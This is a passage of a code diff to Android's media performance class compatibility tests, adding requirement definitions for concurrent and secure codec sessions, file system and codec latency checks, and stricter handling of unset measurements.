+                .addRequiredValue(Build.VERSION_CODES.S,
+                    getReqMinConcurrentFps(Build.VERSION_CODES.S, mimeType1, mimeType2, resolution)
+                        / 2)
+                .build();
+
+            return create720p(RequirementConstants.R5_1__H_1_6, reqConcurrentFps);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-6] Support 6 instances of hardware video decoder and hardware video
+         * encoder sessions (AVC, HEVC, VP9 or AV1) in any codec combination running concurrently
+         * at 720p(R,S) /1080p(T) @30fps resolution.
+         */
+        public static ConcurrentCodecRequirement createR5_1__H_1_6_1080p() {
+            RequiredMeasurement<Double> reqConcurrentFps = RequiredMeasurement.<Double>builder()
+                .setId(RequirementConstants.CONCURRENT_FPS)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                // Test transcoding, fps calculated for encoder and decoder combined so req / 2
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 6 * FPS_30_TOLERANCE / 2)
+                .build();
+
+            return create1080p(RequirementConstants.R5_1__H_1_6, reqConcurrentFps);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-9] Support 2 instances of secure hardware video decoder sessions
+         * (AVC, HEVC, VP9 or AV1) in any codec combination running concurrently at 1080p
+         * resolution@30fps.
+         */
+        public static ConcurrentCodecRequirement createR5_1__H_1_9() {
+            RequiredMeasurement<Double> reqConcurrentFps = RequiredMeasurement.<Double>builder()
+                .setId(RequirementConstants.CONCURRENT_FPS)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 2 * FPS_30_TOLERANCE)
+                .build();
+
+            return create1080p(RequirementConstants.R5_1__H_1_9, reqConcurrentFps);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-10] Support 3 instances of non-secure hardware video decoder sessions
+         * together with 1 instance of secure hardware video decoder session (4 instances total)
+         * (AVC, HEVC, VP9 or AV1) in any codec combination running concurrently at 1080p
+         * resolution@30fps.
+         */
+        public static ConcurrentCodecRequirement createR5_1__H_1_10() {
+            RequiredMeasurement<Double> reqConcurrentFps = RequiredMeasurement.<Double>builder()
+                .setId(RequirementConstants.CONCURRENT_FPS)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 4 * FPS_30_TOLERANCE)
+                .build();
+
+            return create1080p(RequirementConstants.R5_1__H_1_10, reqConcurrentFps);
+        }
+    }
+
+    // used for requirements [2.2.7.1/5.1/H-1-11], [2.2.7.1/5.7/H-1-2]
+    public static class SecureCodecRequirement extends Requirement {
+        private static final String TAG = SecureCodecRequirement.class.getSimpleName();
+
+        private SecureCodecRequirement(String id, RequiredMeasurement<?> ... reqs) {
+            super(id, reqs);
+        }
+
+        public void setSecureReqSatisfied(boolean secureReqSatisfied) {
+            this.setMeasuredValue(RequirementConstants.SECURE_REQ_SATISFIED, secureReqSatisfied);
+        }
+
+        public void setNumCryptoHwSecureAllDec(int numCryptoHwSecureAllDec) {
+            this.setMeasuredValue(RequirementConstants.NUM_CRYPTO_HW_SECURE_ALL_SUPPORT,
+                numCryptoHwSecureAllDec);
+        }
+
+        /**
+         * [2.2.7.1/5.7/H-1-2] MUST support MediaDrm.SECURITY_LEVEL_HW_SECURE_ALL with the below
+         * content decryption capabilities.
+         */
+        public static SecureCodecRequirement createR5_7__H_1_2() {
+            RequiredMeasurement<Integer> hw_secure_all = RequiredMeasurement.<Integer>builder()
+                .setId(RequirementConstants.NUM_CRYPTO_HW_SECURE_ALL_SUPPORT)
+                .setPredicate(RequirementConstants.INTEGER_GTE)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 1)
+                .build();
+
+            return new SecureCodecRequirement(RequirementConstants.R5_7__H_1_2, hw_secure_all);
+        }
+
+        /**
+         * [2.2.7.1/5.1/H-1-11] Must support secure decoder when a corresponding AVC/VP9/HEVC or AV1
+         * hardware decoder is available
+         */
+        public static SecureCodecRequirement createR5_1__H_1_11() {
+            RequiredMeasurement<Boolean> requirement = RequiredMeasurement
+                .<Boolean>builder()
+                .setId(RequirementConstants.SECURE_REQ_SATISFIED)
+                .setPredicate(RequirementConstants.BOOLEAN_EQ)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+                .build();
+
+            return new SecureCodecRequirement(RequirementConstants.R5_1__H_1_11, requirement);
+        }
+    }
+
     private <R extends Requirement> R addRequirement(R req) {
         if (!this.mRequirements.add(req)) {
             throw new IllegalStateException("Requirement " + req.id() + " already added");
@@ -228,6 +1035,156 @@
         return this.<MemoryRequirement>addRequirement(MemoryRequirement.createR7_6_1__H_2_1());
     }
 
+    public FileSystemRequirement addR8_2__H_1_1() {
+        return this.addRequirement(FileSystemRequirement.createR8_2__H_1_1());
+    }
+
+    public FileSystemRequirement addR8_2__H_2_1() {
+        return this.addRequirement(FileSystemRequirement.createR8_2__H_2_1());
+    }
+
+    public FileSystemRequirement addR8_2__H_1_2() {
+        return this.addRequirement(FileSystemRequirement.createR8_2__H_1_2());
+    }
+
+    public FileSystemRequirement addR8_2__H_2_2() {
+        return this.addRequirement(FileSystemRequirement.createR8_2__H_2_2());
+    }
+
+    public FileSystemRequirement addR8_2__H_1_3() {
+        return this.addRequirement(FileSystemRequirement.createR8_2__H_1_3());
+    }
+
+    public FileSystemRequirement addR8_2__H_2_3() {
+        return this.addRequirement(FileSystemRequirement.createR8_2__H_2_3());
+    }
+
+    public FileSystemRequirement addR8_2__H_1_4() {
+        return this.addRequirement(FileSystemRequirement.createR8_2__H_1_4());
+    }
+
+    public FileSystemRequirement addR8_2__H_2_4() {
+        return this.addRequirement(FileSystemRequirement.createR8_2__H_2_4());
+    }
+
+    public FrameDropRequirement addR5_3__H_1_1_R() {
+        return this.addRequirement(FrameDropRequirement.createR5_3__H_1_1_R());
+    }
+
+    public FrameDropRequirement addR5_3__H_1_2_R() {
+        return this.addRequirement(FrameDropRequirement.createR5_3__H_1_2_R());
+    }
+
+    public FrameDropRequirement addR5_3__H_1_1_ST() {
+        return this.addRequirement(FrameDropRequirement.createR5_3__H_1_1_ST());
+    }
+
+    public FrameDropRequirement addR5_3__H_1_2_ST() {
+        return this.addRequirement(FrameDropRequirement.createR5_3__H_1_2_ST());
+    }
+
+    public CodecInitLatencyRequirement addR5_1__H_1_7() {
+        return this.addRequirement(CodecInitLatencyRequirement.createR5_1__H_1_7());
+    }
+
+    public CodecInitLatencyRequirement addR5_1__H_1_8() {
+        return this.addRequirement(CodecInitLatencyRequirement.createR5_1__H_1_8());
+    }
+
+    public CodecInitLatencyRequirement addR5_1__H_1_12() {
+        return this.addRequirement(CodecInitLatencyRequirement.createR5_1__H_1_12());
+    }
+
+    public CodecInitLatencyRequirement addR5_1__H_1_13() {
+        return this.addRequirement(CodecInitLatencyRequirement.createR5_1__H_1_13());
+    }
+
+    public VideoCodecRequirement addR4k60HwEncoder() {
+        return this.addRequirement(VideoCodecRequirement.createR4k60HwEncoder());
+    }
+
+    public VideoCodecRequirement addR4k60HwDecoder() {
+        return this.addRequirement(VideoCodecRequirement.createR4k60HwDecoder());
+    }
+
+    public VideoCodecRequirement addRAV1DecoderReq() {
+        return this.addRequirement(VideoCodecRequirement.createRAV1DecoderReq());
+    }
+
+    public SecureCodecRequirement addR5_1__H_1_11() {
+        return this.addRequirement(SecureCodecRequirement.createR5_1__H_1_11());
+    }
+
+    public SecureCodecRequirement addR5_7__H_1_2() {
+        return this.addRequirement(SecureCodecRequirement.createR5_7__H_1_2());
+    }
+
+    public ConcurrentCodecRequirement addR5_1__H_1_1_720p(String mimeType1, String mimeType2,
+        int resolution) {
+        return this.addRequirement(
+            ConcurrentCodecRequirement.createR5_1__H_1_1_720p(mimeType1, mimeType2, resolution));
+    }
+
+    public ConcurrentCodecRequirement addR5_1__H_1_1_1080p() {
+        return this.addRequirement(ConcurrentCodecRequirement.createR5_1__H_1_1_1080p());
+    }
+
+    public ConcurrentCodecRequirement addR5_1__H_1_2_720p(String mimeType1, String mimeType2,
+        int resolution) {
+        return this.addRequirement(
+            ConcurrentCodecRequirement.createR5_1__H_1_2_720p(mimeType1, mimeType2, resolution));
+    }
+
+    public ConcurrentCodecRequirement addR5_1__H_1_2_1080p() {
+        return this.addRequirement(ConcurrentCodecRequirement.createR5_1__H_1_2_1080p());
+    }
+
+    public ConcurrentCodecRequirement addR5_1__H_1_3_720p(String mimeType1, String mimeType2,
+        int resolution) {
+        return this.addRequirement(
+            ConcurrentCodecRequirement.createR5_1__H_1_3_720p(mimeType1, mimeType2, resolution));
+    }
+
+    public ConcurrentCodecRequirement addR5_1__H_1_3_1080p() {
+        return this.addRequirement(ConcurrentCodecRequirement.createR5_1__H_1_3_1080p());
+    }
+
+    public ConcurrentCodecRequirement addR5_1__H_1_4_720p() {
+        return this.addRequirement(ConcurrentCodecRequirement.createR5_1__H_1_4_720p());
+    }
+
+    public ConcurrentCodecRequirement addR5_1__H_1_4_1080p() {
+        return this.addRequirement(ConcurrentCodecRequirement.createR5_1__H_1_4_1080p());
+    }
+
+    public ConcurrentCodecRequirement addR5_1__H_1_5_720p(String mimeType1, String mimeType2,
+        int resolution) {
+        return this.addRequirement(
+            ConcurrentCodecRequirement.createR5_1__H_1_5_720p(mimeType1, mimeType2, resolution));
+    }
+
+    public ConcurrentCodecRequirement addR5_1__H_1_5_1080p() {
+        return this.addRequirement(ConcurrentCodecRequirement.createR5_1__H_1_5_1080p());
+    }
+
+    public ConcurrentCodecRequirement addR5_1__H_1_6_720p(String mimeType1, String mimeType2,
+        int resolution) {
+        return this.addRequirement(
+            ConcurrentCodecRequirement.createR5_1__H_1_6_720p(mimeType1, mimeType2, resolution));
+    }
+
+    public ConcurrentCodecRequirement addR5_1__H_1_6_1080p() {
+        return this.addRequirement(ConcurrentCodecRequirement.createR5_1__H_1_6_1080p());
+    }
+
+    public ConcurrentCodecRequirement addR5_1__H_1_9() {
+        return this.addRequirement(ConcurrentCodecRequirement.createR5_1__H_1_9());
+    }
+
+    public ConcurrentCodecRequirement addR5_1__H_1_10() {
+        return this.addRequirement(ConcurrentCodecRequirement.createR5_1__H_1_10());
+    }
+
     public void submitAndCheck() {
         boolean perfClassMet = true;
         for (Requirement req: this.mRequirements) {
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/RequiredMeasurement.java b/tests/mediapc/common/src/android/mediapc/cts/common/RequiredMeasurement.java
index 92d3bff..f89cb28 100644
--- a/tests/mediapc/common/src/android/mediapc/cts/common/RequiredMeasurement.java
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/RequiredMeasurement.java
@@ -34,6 +34,7 @@
     private static final String TAG = RequiredMeasurement.class.getSimpleName();
 
     private T measuredValue;  // Note this is not part of the equals calculations
+    private boolean measuredValueSet = false;
 
     public static <T> Builder<T> builder() {
         return new AutoValue_RequiredMeasurement.Builder<T>();
@@ -53,6 +54,7 @@
     public abstract ImmutableMap<Integer, T> expectedValues();
 
     public void setMeasuredValue(T measuredValue) {
+        this.measuredValueSet = true;
         this.measuredValue = measuredValue;
     }
 
@@ -73,7 +75,14 @@
         public abstract RequiredMeasurement<T> build();
     }
 
-    private final RequirementConstants.Result meetsPerformanceClass(int mediaPerformanceClass) {
+    public final RequirementConstants.Result meetsPerformanceClass(int mediaPerformanceClass)
+            throws IllegalStateException {
+
+        if (!this.measuredValueSet) {
+            throw new IllegalStateException("measured value not set for required measurement "
+                + this.id());
+        }
+
         if (!this.expectedValues().containsKey(mediaPerformanceClass)) {
             return RequirementConstants.Result.NA;
         } else if (this.measuredValue == null || !this.predicate().test(this.measuredValue,
@@ -104,8 +113,16 @@
             + "\n\tExpected Values: " + this.expectedValues();
     }
 
-    public void writeValue(DeviceReportLog log) {
-        if (this.measuredValue instanceof Integer) {
+    public void writeValue(DeviceReportLog log) throws IllegalStateException {
+
+        if (!this.measuredValueSet) {
+            throw new IllegalStateException("measured value not set for required measurement "
+                + this.id());
+        }
+
+        if (this.measuredValue == null) {
+            log.addValue(this.id(), "<nullptr>", ResultType.NEUTRAL, ResultUnit.NONE);
+        } else if (this.measuredValue instanceof Integer) {
             log.addValue(this.id(), (int)this.measuredValue, ResultType.NEUTRAL, ResultUnit.NONE);
         } else if (this.measuredValue instanceof Long) {
             log.addValue(this.id(), (long)this.measuredValue, ResultType.NEUTRAL, ResultUnit.NONE);
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/Requirement.java b/tests/mediapc/common/src/android/mediapc/cts/common/Requirement.java
index 9f0bc44..445c5c6 100644
--- a/tests/mediapc/common/src/android/mediapc/cts/common/Requirement.java
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/Requirement.java
@@ -26,6 +26,7 @@
 import com.google.common.annotations.VisibleForTesting;
 import com.google.common.collect.ImmutableMap;
 
+import java.util.Collections;
 import java.util.HashMap;
 import java.util.Map;
 
@@ -89,35 +90,18 @@
     }
 
     @VisibleForTesting
-    protected boolean checkPerformanceClass(String testName, int reportPerfClass,
-            int expectedPerfClass) {
-        if (reportPerfClass < expectedPerfClass) {
-            Log.w(Requirement.TAG, "Test: " + testName + " reporting invalid performance class " +
-                reportPerfClass + " for requirement " + this.id + " performance class should at " +
-                "least be: " + expectedPerfClass);
-            for (RequiredMeasurement<?> rm: this.mRequiredMeasurements.values()) {
-                Map<Integer, RequirementConstants.Result> perfClasses = rm.getPerformanceClass();
-                int maxMetPerformanceClass = 0;
-                for (int pc: perfClasses.keySet()) {
-                    if (perfClasses.get(pc) == RequirementConstants.Result.MET) {
-                        maxMetPerformanceClass = Math.max(maxMetPerformanceClass, pc);
-                    }
-                }
-
-                if (maxMetPerformanceClass < expectedPerfClass) {
-                    Log.w(Requirement.TAG, rm.toString());
-                } else {
-                    Log.i(Requirement.TAG, rm.toString());
-                }
+    protected boolean checkPerformanceClass(int devicePerfClass) {
+        boolean noResultsUnment = true;
+        for (RequiredMeasurement<?> rm: this.mRequiredMeasurements.values()) {
+            RequirementConstants.Result res = rm.meetsPerformanceClass(devicePerfClass);
+            if (res == RequirementConstants.Result.UNMET) {
+                Log.w(Requirement.TAG, rm.toString());
+                noResultsUnment = false;
+            } else {
+                Log.i(Requirement.TAG, rm.toString());
             }
-            return false;
-        } else {
-            return true;
         }
-    }
-
-    private boolean checkPerformanceClass(String testName, int reportPerfClass) {
-        return this.checkPerformanceClass(testName, reportPerfClass, Utils.getPerfClass());
+        return noResultsUnment;
     }
 
     protected <T> void setMeasuredValue(String measurement, T measuredValue) {
@@ -130,6 +114,13 @@
      * @return whether or not the requirement meets the device's specified performance class
      */
     public boolean writeLogAndCheck(String testName) {
+        if (this.id == RequirementConstants.RTBD) {
+            // skip upload on any requirement without a specified id
+            Log.i(this.TAG, testName + "has requirement without set requirement id and test " +
+                "results were not uploaded");
+            return this.checkPerformanceClass(Utils.getPerfClass());
+        }
+
         int perfClass = this.computePerformanceClass();
 
         DeviceReportLog log = new DeviceReportLog(RequirementConstants.REPORT_LOG_NAME, this.id);
@@ -142,6 +133,6 @@
             ResultUnit.NONE);
         log.submit(InstrumentationRegistry.getInstrumentation());
 
-        return this.checkPerformanceClass(testName, perfClass);
+        return this.checkPerformanceClass(Utils.getPerfClass());
     }
 }
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java b/tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java
index e67656f..3cd0ee1 100644
--- a/tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java
@@ -35,9 +35,19 @@
     public static final String R5_1__H_1_6 = "r5_1__h_1_6"; // 5.1/H-1-6
     public static final String R5_1__H_1_7 = "r5_1__h_1_7"; // 5.1/H-1-7
     public static final String R5_1__H_1_8 = "r5_1__h_1_8"; // 5.1/H-1-8
+    public static final String R5_1__H_1_9 = "r5_1__h_1_9"; // 5.1/H-1-9
+    public static final String R5_1__H_1_10 = "r5_1__h_1_10"; // 5.1/H-1-10
+    public static final String R5_1__H_1_11 = "r5_1__h_1_11"; // 5.1/H-1-11
+    public static final String R5_1__H_1_12 = "r5_1__h_1_12"; // 5.1/H-1-12
+    public static final String R5_1__H_1_13 = "r5_1__h_1_13"; // 5.1/H-1-13
+    public static final String R5_1__H_1_14 = "r5_1__h_1_14"; // 5.1/H-1-14
+    public static final String R5_1__H_1_15 = "r5_1__h_1_15"; // 5.1/H-1-16
+    public static final String R5_1__H_1_16 = "r5_1__h_1_16"; // 5.1/H-1-16
     public static final String R5_3__H_1_1 = "r5_3__h_1_1"; // 5.3/H-1-1
     public static final String R5_3__H_1_2 = "r5_3__h_1_2"; // 5.3/H-1-2
     public static final String R5_6__H_1_1 = "r5_6__h_1_1"; // 5.6/H-1-1
+    public static final String R5_7__H_1_1 = "r5_7__h_1_1"; // 5.7/H-1-1
+    public static final String R5_7__H_1_2 = "r5_7__h_1_2"; // 5.7/H-1-2
     public static final String R7_5__H_1_1 = "r7_5__h_1_1"; // 7.5/H-1-1
     public static final String R7_5__H_1_2 = "r7_5__h_1_2"; // 7.5/H-1-2
     public static final String R7_5__H_1_3 = "r7_5__h_1_3"; // 7.5/H-1-3
@@ -61,8 +71,11 @@
     public static final String R8_2__H_2_2 = "r8_2__h_2_2"; // 8.2/H-2-2
     public static final String R8_2__H_2_3 = "r8_2__h_2_3"; // 8.2/H-2-3
     public static final String R8_2__H_2_4 = "r8_2__h_2_4"; // 8.2/H-2-4
+    public static final String RTBD = "tbd"; // placeholder for requirements without a set id
 
-    public static final String MAX_CONCURRENT_SESSIONS = "max_concurrent_sessions";
+    public static final String CONCURRENT_SESSIONS = "concurrent_sessions";
+    public static final String TEST_RESOLUTION = "resolution";
+    public static final String CONCURRENT_FPS = "concurrent_fps";
     public static final String SUPPORTED_PERFORMANCE_POINTS = "supported_performance_points";
     public static final String FRAMES_DROPPED = "frame_drops_per_30sec";
     public static final String FRAME_RATE = "frame_rate";
@@ -70,14 +83,27 @@
     public static final String SHORT_RESOLUTION = "short_resolution_pixels";
     public static final String DISPLAY_DENSITY = "display_density_dpi";
     public static final String PHYSICAL_MEMORY = "physical_memory_mb";
+    public static final String CODEC_INIT_LATENCY = "codec_initialization_latency_ms";
+    public static final String AV1_DEC_REQ = "av1_decoder_requirement_boolean";
+    public static final String NUM_4k_HW_DEC = "number_4k_hw_decoders";
+    public static final String NUM_4k_HW_ENC = "number_4k_hw_encoders";
+    public static final String SECURE_REQ_SATISFIED = "secure_requirement_satisfied_boolean";
+    public static final String NUM_CRYPTO_HW_SECURE_ALL_SUPPORT =
+        "number_crypto_hw_secure_all_support";
+    public static final String FILESYSTEM_IO_RATE = "filesystem_io_rate_mbps";
 
     public enum Result {
         NA, MET, UNMET
     }
 
     public static final BiPredicate<Long, Long> LONG_GTE = RequirementConstants.gte();
+    public static final BiPredicate<Long, Long> LONG_LTE = RequirementConstants.lte();
     public static final BiPredicate<Integer, Integer> INTEGER_GTE = RequirementConstants.gte();
     public static final BiPredicate<Integer, Integer> INTEGER_LTE = RequirementConstants.lte();
+    public static final BiPredicate<Integer, Integer> INTEGER_EQ = RequirementConstants.eq();
+    public static final BiPredicate<Double, Double> DOUBLE_GTE = RequirementConstants.gte();
+    public static final BiPredicate<Double, Double> DOUBLE_EQ = RequirementConstants.eq();
+    public static final BiPredicate<Boolean, Boolean> BOOLEAN_EQ = RequirementConstants.eq();
 
     /**
      * Creates a >= predicate.
@@ -115,5 +141,22 @@
         };
     }
 
+    /**
+     * Creates an == predicate.
+     */
+    private static <T, S extends Comparable<T>> BiPredicate<S, T> eq() {
+        return new BiPredicate<S, T>() {
+            @Override
+            public boolean test(S actual, T expected) {
+                return actual.compareTo(expected) == 0;
+            }
+
+            @Override
+            public String toString() {
+                return "Equal to";
+            }
+        };
+    }
+
     private RequirementConstants() {} // class should not be instantiated
 }
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/Utils.java b/tests/mediapc/common/src/android/mediapc/cts/common/Utils.java
index a5484ff..ac03705 100644
--- a/tests/mediapc/common/src/android/mediapc/cts/common/Utils.java
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/Utils.java
@@ -40,6 +40,7 @@
     private static final int sPc;
 
     private static final String TAG = "PerformanceClassTestUtils";
+    private static final String MEDIA_PERF_CLASS_KEY = "media-performance-class";
 
     public static final int DISPLAY_DPI;
     public static final int MIN_DISPLAY_CANDIDATE_DPI = DENSITY_400;
@@ -56,8 +57,18 @@
     public static final long MIN_MEMORY_PERF_CLASS_T_MB = 7 * 1024;
 
     static {
-        sPc = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S) ? Build.VERSION.MEDIA_PERFORMANCE_CLASS
-                : SystemProperties.getInt("ro.odm.build.media_performance_class", 0);
+        // with a default-media-performance-class that can be configured through a command line
+        // argument.
+        android.os.Bundle args = InstrumentationRegistry.getArguments();
+        String mediaPerfClassArg = args.getString(MEDIA_PERF_CLASS_KEY);
+        if (mediaPerfClassArg != null) {
+            Log.d(TAG, "Running the tests with performance class set to " + mediaPerfClassArg);
+            sPc = Integer.parseInt(mediaPerfClassArg);
+        } else {
+            sPc = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S)
+                    ? Build.VERSION.MEDIA_PERFORMANCE_CLASS
+                    : SystemProperties.getInt("ro.odm.build.media_performance_class", 0);
+        }
         Log.d(TAG, "performance class is " + sPc);
 
         Context context = InstrumentationRegistry.getInstrumentation().getContext();
diff --git a/tests/mediapc/common/tests/src/android/mediapc/cts/common/RequirementTest.java b/tests/mediapc/common/tests/src/android/mediapc/cts/common/RequirementTest.java
index b330724..daa9d27 100644
--- a/tests/mediapc/common/tests/src/android/mediapc/cts/common/RequirementTest.java
+++ b/tests/mediapc/common/tests/src/android/mediapc/cts/common/RequirementTest.java
@@ -18,6 +18,8 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.junit.Assert.assertThrows;
+
 import android.os.Build;
 
 import org.junit.Test;
@@ -28,103 +30,176 @@
             super(id, reqs);
         }
 
-        public void setGTEMeasurement(int measure) {
+        public void setMeasurement1(int measure) {
             this.<Integer>setMeasuredValue("test_measurement_1", measure);
         }
 
-        public void setLTEMeasurement(int measure) {
-            this.<Integer>setMeasuredValue("test_measurement_2", measure);
-        }
-
         public static TestReq create() {
             RequiredMeasurement<Integer> measurement1 = RequiredMeasurement
                 .<Integer>builder()
                 .setId("test_measurement_1")
                 .setPredicate(RequirementConstants.INTEGER_GTE)
-                .addRequiredValue(Build.VERSION_CODES.R, 200)
-                .addRequiredValue(Build.VERSION_CODES.S, 300)
+                .addRequiredValue(30, 200)
+                .addRequiredValue(31, 300)
+                .addRequiredValue(32, 400)
+                .build();
+
+            return new TestReq("TestReq", measurement1);
+        }
+    }
+
+    public static class TestReqWith2Measures extends Requirement {
+        private TestReqWith2Measures(String id, RequiredMeasurement<?> ... reqs) {
+            super(id, reqs);
+        }
+
+        public void setMeasurement1(int measure) {
+            this.<Integer>setMeasuredValue("test_measurement_1", measure);
+        }
+
+        public void setMeasurement2(int measure) {
+            this.<Integer>setMeasuredValue("test_measurement_2", measure);
+        }
+
+        public static TestReqWith2Measures create() {
+            RequiredMeasurement<Integer> measurement1 = RequiredMeasurement
+                .<Integer>builder()
+                .setId("test_measurement_1")
+                .setPredicate(RequirementConstants.INTEGER_GTE)
+                .addRequiredValue(30, 200)
+                .addRequiredValue(31, 300)
+                .addRequiredValue(32, 400)
                 .build();
             RequiredMeasurement<Integer> measurement2 = RequiredMeasurement
                 .<Integer>builder()
                 .setId("test_measurement_2")
-                .setPredicate(RequirementConstants.INTEGER_LTE)
-                .addRequiredValue(Build.VERSION_CODES.R, 500)
-                .addRequiredValue(Build.VERSION_CODES.S, 300)
+                .setPredicate(RequirementConstants.INTEGER_GTE)
+                .addRequiredValue(30, 200)
+                .addRequiredValue(31, 300)
+                .addRequiredValue(32, 400)
                 .build();
 
-            return new TestReq("TestReq", measurement1, measurement2);
+            return new TestReqWith2Measures("TestReqWith2Measures", measurement1, measurement2);
         }
     }
 
-    // used as a base for computePerformanceClass_testCase methods
-    private void testComputePerformanceClass(int gteMeasure, int lteMeasure, int expectedPC) {
+    @Test
+    public void computePerformanceClass_0() {
         TestReq testReq = TestReq.create();
         int pc;
 
-        // both measurements do not meet R
-        testReq.setGTEMeasurement(gteMeasure);
-        testReq.setLTEMeasurement(lteMeasure);
+        testReq.setMeasurement1(100);
         pc = testReq.computePerformanceClass();
-        assertThat(pc).isEqualTo(expectedPC);
+        assertThat(pc).isEqualTo(0);
     }
 
     @Test
-    public void computePerformanceClass_bothNotR() {
-        // both measurements do not meet R
-        this.testComputePerformanceClass(100, 600, 0);
-    }
-
-    @Test
-    public void computePerformanceClass_onlyOneR() {
-        // one measurement does not meet R
-        this.testComputePerformanceClass(200, 600, 0);
-    }
-
-    @Test
-    public void computePerformanceClass_bothR() {
-        // both measurements meet R
-        this.testComputePerformanceClass(200, 500, Build.VERSION_CODES.R);
-    }
-
-    @Test
-    public void computePerformanceClass_onlyOneS() {
-        // one measurements does not meet S
-        this.testComputePerformanceClass(200, 100, Build.VERSION_CODES.R);
-    }
-
-    @Test
-    public void computePerformanceClass_bothS() {
-        // both measurements meet S
-        this.testComputePerformanceClass(500, 100, Build.VERSION_CODES.S);
-    }
-
-    // used as a base for checkPerformanceClass_testCase methods
-    private void testCheckPerformanceClass(int testPerfClass, boolean expectedResult) {
+    public void computePerformanceClass_30() {
         TestReq testReq = TestReq.create();
-        boolean perfClassMet;
+        int pc;
 
-        perfClassMet = testReq.checkPerformanceClass("checkPerformanceClass", testPerfClass, 31);
-        assertThat(perfClassMet).isEqualTo(expectedResult);
+        testReq.setMeasurement1(200);
+        pc = testReq.computePerformanceClass();
+        assertThat(pc).isEqualTo(30);
+    }
+
+    @Test
+    public void computePerformanceClass_31() {
+       TestReq testReq = TestReq.create();
+        int pc;
+
+        testReq.setMeasurement1(300);
+        pc = testReq.computePerformanceClass();
+        assertThat(pc).isEqualTo(31);
+    }
+
+    @Test
+    public void computePerformanceClass_32() {
+        TestReq testReq = TestReq.create();
+        int pc;
+
+        testReq.setMeasurement1(400);
+        pc = testReq.computePerformanceClass();
+        assertThat(pc).isEqualTo(32);
+    }
+
+    @Test
+    public void computePerformanceClass_PicksLower() {
+        TestReqWith2Measures testReq = TestReqWith2Measures.create();
+        int pc;
+
+        // measure1 meets 32, but measure2 only meets 30
+        testReq.setMeasurement1(401);
+        testReq.setMeasurement2(201);
+
+        pc = testReq.computePerformanceClass();
+        assertThat(pc).isEqualTo(30);
     }
 
     @Test
     public void checkPerformanceClass_justBelow() {
-        // just below required perfClass
-        int testPerfClass = 30;
-        this.testCheckPerformanceClass(testPerfClass, false);
+        TestReq testReq = TestReq.create();
+        boolean perfClassMet;
+
+        // setting measurements to meet pc 31
+        testReq.setMeasurement1(300);
+
+        perfClassMet = testReq.checkPerformanceClass(32);
+        assertThat(perfClassMet).isEqualTo(false);
     }
 
     @Test
     public void checkPerformanceClass_justAt() {
-        // just at required perfClass
-        int testPerfClass = 31;
-        this.testCheckPerformanceClass(testPerfClass, true);
+        TestReq testReq = TestReq.create();
+        boolean perfClassMet;
+
+        // setting measurements to meet pc 31
+        testReq.setMeasurement1(300);
+
+        perfClassMet = testReq.checkPerformanceClass(31);
+        assertThat(perfClassMet).isEqualTo(true);
     }
 
     @Test
     public void checkPerformanceClass_justAbove() {
-        // just above required perfClass
-        int testPerfClass = 32;
-        this.testCheckPerformanceClass(testPerfClass, true);
+        TestReq testReq = TestReq.create();
+        boolean perfClassMet;
+
+        // setting measurements to meet pc 31
+        testReq.setMeasurement1(301);
+
+        perfClassMet = testReq.checkPerformanceClass(30);
+        assertThat(perfClassMet).isEqualTo(true);
     }
-}
\ No newline at end of file
+
+    @Test
+    public void checkPerformanceClass_OutOfRange() {
+        TestReq testReq = TestReq.create();
+        boolean perfClassMet;
+
+        // setting measurements to meet pc 31
+        testReq.setMeasurement1(300);
+
+        // performance class 33 not handled by testReq, so expected result is true
+        perfClassMet = testReq.checkPerformanceClass(33);
+        assertThat(perfClassMet).isEqualTo(true);
+    }
+
+    @Test
+    public void checkPerformanceClass_UnsetMeasurement() {
+        TestReq testReq = TestReq.create();
+
+        assertThrows(
+            IllegalStateException.class,
+            () -> testReq.checkPerformanceClass(31));
+    }
+
+    @Test
+    public void writeLogAndCheck_UnsetMeasurement() {
+        TestReq testReq = TestReq.create();
+
+        assertThrows(
+            IllegalStateException.class,
+            () -> testReq.writeLogAndCheck("writeLogAndCheck_UnsetMeasurement"));
+    }
+}
diff --git a/tests/mediapc/src/android/mediapc/cts/AdaptivePlaybackFrameDropTest.java b/tests/mediapc/src/android/mediapc/cts/AdaptivePlaybackFrameDropTest.java
index 6727a00..e1ab57a 100644
--- a/tests/mediapc/src/android/mediapc/cts/AdaptivePlaybackFrameDropTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/AdaptivePlaybackFrameDropTest.java
@@ -19,18 +19,17 @@
 import static org.junit.Assert.assertTrue;
 
 import android.media.MediaCodecInfo;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
 import android.mediapc.cts.common.Utils;
-import android.os.Build;
 
 import androidx.test.filters.LargeTest;
-import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
 
+import org.junit.Assume;
+import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.TestName;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
 
@@ -48,6 +47,9 @@
         super(mimeType, decoderName, isAsync);
     }
 
+    @Rule
+    public final TestName mTestName = new TestName();
+
